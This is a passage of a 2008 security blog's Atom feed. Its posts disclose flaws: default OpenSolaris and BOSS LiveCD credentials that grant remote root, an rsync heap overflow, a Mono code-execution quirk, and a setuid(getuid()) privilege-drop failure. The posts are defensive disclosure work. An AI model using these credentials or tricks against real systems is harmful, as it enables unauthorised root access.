href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6363436931229370927' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6363436931229370927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6363436931229370927'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/08/postfix-trickery.html' title='postfix trickery'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DbsW_SGQJgI/SKK00z92tHI/AAAAAAAAAEE/O0YCug925KI/s72-c/postfix.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-664605628344454047</id><published>2008-08-02T09:29:00.000-07:00</published><updated>2008-08-15T02:35:20.405-07:00</updated><title type='text'>OpenSolaris remote root exploit</title><content type='html'>Like the the BSI was new in the LiveCD market segment, so is  Sun!&lt;br /&gt;&lt;br /&gt;If you boot your OpenSolaris CD and have your network plugged in and a DHCP&lt;br /&gt;server is available (very common setup today; every homeuser got DSL ...), remote&lt;br /&gt;attackers can log into your machine with &lt;span style="font-style: italic;"&gt;jack/jack&lt;/span&gt; and su to root with&lt;br /&gt;&lt;span style="font-style: italic;"&gt;opensolaris&lt;/span&gt;. What a luck that remote root logins are disabled by the sshd running&lt;br /&gt;during the installation procedure. It also has a nice banner which distinguishs it&lt;br /&gt;clearly from the rest of the OpenSSH world.&lt;br /&gt;Far more bad than the BOSS BSI issue:&lt;br /&gt;If you want to install OpenSolaris (and a plenty of sysadmins will do) the only&lt;br /&gt;way is to boot the LiveCD and install it from there. You are owned before your installation procedure is finished!&lt;br /&gt;&lt;br /&gt;So, somehow, we got a remote root exploit for a lot of data centers I guess. And BTW,&lt;br /&gt;if there is no DHCP server running at the university, attackers can feel free to setup one :-)&lt;br /&gt;&lt;br /&gt;Beside that, I like the Open Source path which Sun is now walking on and Solaris&lt;br /&gt;is still a very cute OS which kicks ass. But admins should really unplug&lt;br /&gt;the network cable during installation. No kidding. If I got something wrong, feel&lt;br /&gt;free to mail me and I will correct myself. I tested the 2008.05 image from their main download&lt;br /&gt;site.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update&lt;/span&gt;: Sun Microsystems is already tracking this issue and will change the behavior with&lt;br /&gt;the next live CD release.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-664605628344454047?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/664605628344454047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=664605628344454047' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/664605628344454047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/664605628344454047'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/08/opensolaris-remote-root-exploit.html' title='OpenSolaris remote root exploit'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7027080521694953750</id><published>2008-07-10T06:37:00.000-07:00</published><updated>2008-07-10T06:49:34.304-07:00</updated><title type='text'>I notify ...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DbsW_SGQJgI/SHYSJm1KdfI/AAAAAAAAAD8/mPwigurlWIU/s1600-h/inotify.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_DbsW_SGQJgI/SHYSJm1KdfI/AAAAAAAAAD8/mPwigurlWIU/s400/inotify.jpg" alt="" id="BLOGGER_PHOTO_ID_5221380774234322418" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I wonder it took so long to discover that DNS is vulnerable to a birthday attack :-)&lt;br /&gt;A 16 bit ID in the DNS header never added any security and I doubt that source port randomization will.&lt;br /&gt;&lt;br /&gt;Anyway... While I was hunting down some race conditions recently I remembered the&lt;br /&gt;new &lt;span style="font-style: italic;"&gt;inotify(2)&lt;/span&gt; system calls in recent Linux 2.6 kernels. Some of you might not be aware of&lt;br /&gt;this, but this is an excellent way to win races. Beside that you can re-write&lt;span style="font-weight: bold;"&gt; tmp-watch&lt;/span&gt; to work&lt;br /&gt;really reliable. While up-to-then tools (including my own) needed to rescan directories to find out changes&lt;br /&gt;which was prone to error and racy in itself, you can now watch the lifetime of a file from creation,&lt;br /&gt;during chmod until closing. The short screenshot shows the  basics.&lt;br /&gt;You can download the small helper program &lt;a href="http://www.suse.de/%7Ekrahmer/inotify.cc"&gt;here&lt;/a&gt;.&lt;br /&gt;It is very interesting to watch mail and print spoolers using this program! :-)&lt;br /&gt;If you find any exploitable tmp-races using my program, feel free to credit and inotify me :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7027080521694953750?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7027080521694953750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7027080521694953750' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7027080521694953750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7027080521694953750'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/07/i-notify.html' title='I notify ...'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DbsW_SGQJgI/SHYSJm1KdfI/AAAAAAAAAD8/mPwigurlWIU/s72-c/inotify.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-181905473844577743</id><published>2008-04-14T06:10:00.000-07:00</published><updated>2008-04-14T06:15:02.646-07:00</updated><title type='text'>rsync xattr item_list heap overflow</title><content type='html'>Last week I discovered a classical integer wrap around which leads to a heap&lt;br /&gt;overflow in rsync 3.0. A source patch can be found &lt;a href="http://www.suse.de/%7Ekrahmer/rsync-3.0.0-il-overflow.dif"&gt;here&lt;/a&gt;.&lt;br /&gt;We backported the xattr feature to some of our 2.6.9 and 2.6.8 versions.&lt;br /&gt;Even though the code base is different there, the vulnerability also exists.&lt;br /&gt;Updated packages will soon be available.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-181905473844577743?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/181905473844577743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=181905473844577743' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/181905473844577743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/181905473844577743'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/04/rsync-xattr-itemlist-heap-overflow.html' title='rsync xattr item_list heap overflow'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2085763273513920961</id><published>2008-03-18T05:50:00.000-07:00</published><updated>2008-03-20T06:59:23.671-07:00</updated><title type='text'>BOSS 2.0 LiveCD owned / Bundestrojaner entdeckt</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DbsW_SGQJgI/R9_AZbYHrmI/AAAAAAAAAD0/LGu2sAUi1HA/s1600-h/boss.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_DbsW_SGQJgI/R9_AZbYHrmI/AAAAAAAAAD0/LGu2sAUi1HA/s400/boss.jpg" alt="" id="BLOGGER_PHOTO_ID_5179069639577546338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The BOSS LiveCD (BSI OSS Security LiveCD) is a bootable Morphix Linux&lt;br /&gt;distribution basically with a nessus scanner and some other security tools.&lt;br /&gt;Its distributed for administrators to check their network for vulnerabilities.&lt;br /&gt;The aim is to make the network more secure.&lt;br /&gt;&lt;br /&gt;However there is a backdoor: If you boot this CD in your network it sets up&lt;br /&gt;the network interface(s) via DHCP. It also starts an OpenSSH daemon and guess what,&lt;br /&gt;it has a DSA private key for the user 'slad' placed in slad's homedir. The passphrase&lt;br /&gt;for this key is 'bosscd'. And... the root password to su to root after ssh login&lt;br /&gt;(root login via SSH is disabled) is also 'bosscd'.&lt;br /&gt;One may argue that this is a LiveCD system and this does not matter. Wrong! The laptop&lt;br /&gt;you boot has got a harddisk! And you are behind the firewall!&lt;br /&gt;&lt;br /&gt;So, if you are responsible for your network, DO NOT BOOT THIS CD. You are subject to&lt;br /&gt;immidiate owning. It is very easy to scan whole class A networks for this DSA key&lt;br /&gt;within a short period of time, so do not think that "just running it half a hour" is short enough&lt;br /&gt;for you to survive.&lt;br /&gt;&lt;br /&gt;More info about the BOSS CD/Bundestrojaner &lt;a href="http://www.bsi.de/produkte/boss/index.htm"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;br /&gt;&lt;/span&gt;After contacting the "Bundesamt für Sicherheit in der Informationstechnik" (BSI) they responded&lt;br /&gt;and included a security notice about the LiveCD in their website. Although I do not think&lt;br /&gt;that, due to automatic WLAN setup during boot, a splitted testing environment is possible,&lt;br /&gt;I recognize that they reacted within one day which is very fast for a government agency.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2085763273513920961?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2085763273513920961/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2085763273513920961' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2085763273513920961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2085763273513920961'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/03/boss-20-livecd-owned.html' title='BOSS 2.0 LiveCD owned / Bundestrojaner entdeckt'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DbsW_SGQJgI/R9_AZbYHrmI/AAAAAAAAAD0/LGu2sAUi1HA/s72-c/boss.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1817187540853183995</id><published>2008-02-20T06:22:00.000-08:00</published><updated>2008-02-22T08:35:23.490-08:00</updated><title type='text'>Open Source Software Security Wiki</title><content type='html'>A new resource for security researchers, maintainers and people who discover flaws in general&lt;br /&gt;has recently been set up by the Openwall project. I have just added it to my link section.&lt;br /&gt;You can already find useful information there such as contact addresses for various security&lt;br /&gt;teams, such as ours. Hopefully, since its wiki style, there soon appear code review reports,&lt;br /&gt;tools and PoC's :-) They also drive a mailing list to discuss technical issues.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1817187540853183995?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1817187540853183995/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1817187540853183995' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1817187540853183995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1817187540853183995'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/02/open-source-software-security-wiki.html' title='Open Source Software Security Wiki'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1886212137651017102</id><published>2008-02-18T05:26:00.000-08:00</published><updated>2008-02-18T05:40:39.516-08:00</updated><title type='text'>Mono trickery</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DbsW_SGQJgI/R7mKrgTCqVI/AAAAAAAAADs/wln6ygAY7Ys/s1600-h/mono.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_DbsW_SGQJgI/R7mKrgTCqVI/AAAAAAAAADs/wln6ygAY7Ys/s400/mono.jpg" alt="" id="BLOGGER_PHOTO_ID_5168314527393163602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I always spot the best bugs during coding. While coding tjmd5 (see last posting) I ran across&lt;br /&gt;an interesting mono feature. For each 'foo' C# file that it compiles it lookups 'foo.so'&lt;br /&gt;in /usr, /usr/lib etc directories and 'foo.so.la' in the cwd. This can be abused to execute&lt;br /&gt;arbitrary code while someone is just compiling an C#-file. I am not sure about the impact since&lt;br /&gt;you can say that the dude is executing the .exe after he was compiling it. Well.&lt;br /&gt;Depending on the comments you all make I will decide whether this is something to tell &lt;a href="http://tirania.org/blog"&gt;Miguel&lt;/a&gt; :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1886212137651017102?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1886212137651017102/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1886212137651017102' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1886212137651017102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1886212137651017102'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/02/mono-trickery.html' title='Mono trickery'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_DbsW_SGQJgI/R7mKrgTCqVI/AAAAAAAAADs/wln6ygAY7Ys/s72-c/mono.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2353388568849089735</id><published>2008-02-18T05:21:00.000-08:00</published><updated>2008-02-18T05:24:58.314-08:00</updated><title type='text'>Trapper John MD5</title><content type='html'>During hackweek in Nuremberg I lifted my C#-skills and wrote a MD5 based filesystem&lt;br /&gt;and web integrity checker from scratch. In .NET, from scratch means you plug a few classes&lt;br /&gt;and API calls together and get a complex application in 100 lines :-)&lt;br /&gt;C# is fun coding nevertheless. Never heared again from tripwire, one of my faves&lt;br /&gt;back in the 90's. You can download trapper john md5 &lt;a href="http://suse.de/%7Ekrahmer/tjmd5-0.21.tgz"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2353388568849089735?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2353388568849089735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2353388568849089735' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2353388568849089735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2353388568849089735'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/02/trapper-john-md5.html' title='Trapper John MD5'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7878443073259338832</id><published>2008-01-30T04:42:00.000-08:00</published><updated>2008-01-30T04:54:13.381-08:00</updated><title type='text'>Fail!</title><content type='html'>While reading &lt;a href="http://planetsecurity.bacarospo.net/"&gt;planet security&lt;/a&gt;&lt;br /&gt;to get updated about what ubercool bugz the scene is producing I stumbled across the&lt;br /&gt;&lt;a href="http://failblog.wordpress.com/"&gt;fail blog&lt;/a&gt;. Definitely worth reading :-) Especially "wet squirrel" was funny after&lt;br /&gt;serious and hard work on &lt;a href="http://cthulhu.c3d2.de/%7Etoidinamai/vlock/vlock.html"&gt;vlock&lt;/a&gt; which I had a look at. "Satellite" shows that hardware-engineers&lt;br /&gt;are experiencing the same problems as computer scientists with software: it crashes all day long.&lt;br /&gt;Heads up guys!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://planetsecurity.bacarospo.net/"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7878443073259338832?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7878443073259338832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7878443073259338832' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7878443073259338832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7878443073259338832'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/01/fail.html' title='Fail!'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4768711022160490642</id><published>2008-01-29T01:42:00.001-08:00</published><updated>2008-01-29T02:11:26.537-08:00</updated><title type='text'>The evilness of setuid(getuid())</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DbsW_SGQJgI/R577VPQiCHI/AAAAAAAAADk/bsxayJ8dCDk/s1600-h/setuid2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_DbsW_SGQJgI/R577VPQiCHI/AAAAAAAAADk/bsxayJ8dCDk/s400/setuid2.jpg" alt="" id="BLOGGER_PHOTO_ID_5160838565304862834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DbsW_SGQJgI/R576pvQiCGI/AAAAAAAAADc/CLPDIORoetg/s1600-h/setuid3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_DbsW_SGQJgI/R576pvQiCGI/AAAAAAAAADc/CLPDIORoetg/s400/setuid3.jpg" alt="" id="BLOGGER_PHOTO_ID_5160837817980553314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DbsW_SGQJgI/R574GPQiCCI/AAAAAAAAAC8/7Lhx81DU6LY/s1600-h/setuid1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_DbsW_SGQJgI/R574GPQiCCI/AAAAAAAAAC8/7Lhx81DU6LY/s400/setuid1.jpg" alt="" id="BLOGGER_PHOTO_ID_5160835009071941666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We recently had a discussion after a code review that a &lt;span style="font-style: italic;"&gt;setuid(getuid())&lt;/span&gt; inside a suid without error checking&lt;br /&gt;and program execution afterwards should be fixed. A lot of people think that this could&lt;br /&gt;never fail. &lt;span style="font-style: italic;"&gt;getuid()&lt;/span&gt; indeed can never fail, but &lt;span style="font-style: italic;"&gt;setuid()&lt;/span&gt; can. Lets put aside theoretical issues such&lt;br /&gt;as missing CAP_SETUID or signals and lets have a look how the kernel is executing a &lt;span style="font-style: italic;"&gt;setuid()&lt;br /&gt;&lt;/span&gt;&lt;span&gt;in the first picture. CAP_SETUID should be ok since we talk about a setuid root program which is&lt;br /&gt;executing &lt;span style="font-style: italic;"&gt;setuid(getuid())&lt;/span&gt;. Obviously we can trigger an error return of &lt;span style="font-weight: bold;"&gt;EAGAIN &lt;/span&gt;if &lt;span style="font-style: italic;"&gt;set_user()&lt;/span&gt; fails&lt;br /&gt;which is only called if the real UID is changed during the call. That may only happen if some of the set*uid() functions with a different UID than at startup time of the program has been called already.&lt;br /&gt;For instance a setuid root program runs at startup with the real UID of the user and calls &lt;span style="font-style: italic;"&gt;setuid(0)&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;in order to to obtain full privileges. It then calls &lt;span style="font-style: italic;"&gt;setuid(getuid())&lt;/span&gt; to drop the privileges again.&lt;br /&gt;How can this fail? Lets have a look at &lt;span style="font-style: italic;"&gt;set_user()&lt;/span&gt; in the second picture. Obviously if the&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;RLIMIT_NPROC&lt;/span&gt; limit is exceeded and its not setuid'ing to root (which is the case) then&lt;br /&gt;an error is returned. Huh! Lowering limits is always allowed ;-)&lt;br /&gt;The sample program in picture three demonstrates how a setuid root program dropping&lt;br /&gt;its privileges in this way can be tricked into executing other programs as root.&lt;br /&gt;&lt;br /&gt;I apologize if you already knew this trick. I also apologize for the madness of this' blog&lt;br /&gt;editing program which always places the pictures as it wants to and which makes me nuts.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4768711022160490642?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4768711022160490642/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4768711022160490642' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4768711022160490642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4768711022160490642'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/01/evilness-of-setuidgetuid.html' title='The evilness of setuid(getuid())'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DbsW_SGQJgI/R577VPQiCHI/AAAAAAAAADk/bsxayJ8dCDk/s72-c/setuid2.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1598246271464420612</id><published>2008-01-23T02:05:00.000-08:00</published><updated>2008-01-23T02:10:22.279-08:00</updated><title type='text'>FireBox</title><content type='html'>In case you are tired of yet another unknown web browser vulnerability, you might&lt;br /&gt;try &lt;a href="http://www.suse.de/%7Ekrahmer/firebox-0.3.tgz"&gt;firebox&lt;/a&gt;. This small script sets up a chroot environment for firefox which then runs&lt;br /&gt;unprivileged, has no access to suid-files, /proc, /dev, /sys etc and can only create files&lt;br /&gt;inside a loopback mount; so possible exploits triggered from evil websites can't modify&lt;br /&gt;your homedir or system-files (as long as theres no kernel-0day of course :-).&lt;br /&gt;Java, flash and all that sh** is not working yet but that might even be an advantage.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1598246271464420612?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1598246271464420612/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1598246271464420612' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1598246271464420612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1598246271464420612'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/01/firebox.html' title='FireBox'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-457096136273324360</id><published>2008-01-11T07:43:00.000-08:00</published><updated>2008-01-11T07:53:39.607-08:00</updated><title type='text'>Happy new year!</title><content type='html'>Although a little bit late, I wish every reader a happy new year!&lt;br /&gt;&lt;br /&gt;The 24c3 event was great. I missed some old and known faces, but had some interesting evening&lt;br /&gt;with an italian a french and a dutch hacker at a steak house restaurant. Never made and heared so&lt;br /&gt;many jokes on software. :-)&lt;br /&gt;&lt;br /&gt;Even in the new year I am continously asked by the famous &lt;a href="http://hakin9.org"&gt;hakin9 magazine&lt;/a&gt;&lt;br /&gt;to write an article for them. There must be a rumor/confusion somewhere about my person -- I am not a hacker! :-)&lt;div class="blogger-post-footer"&gt;&lt;img 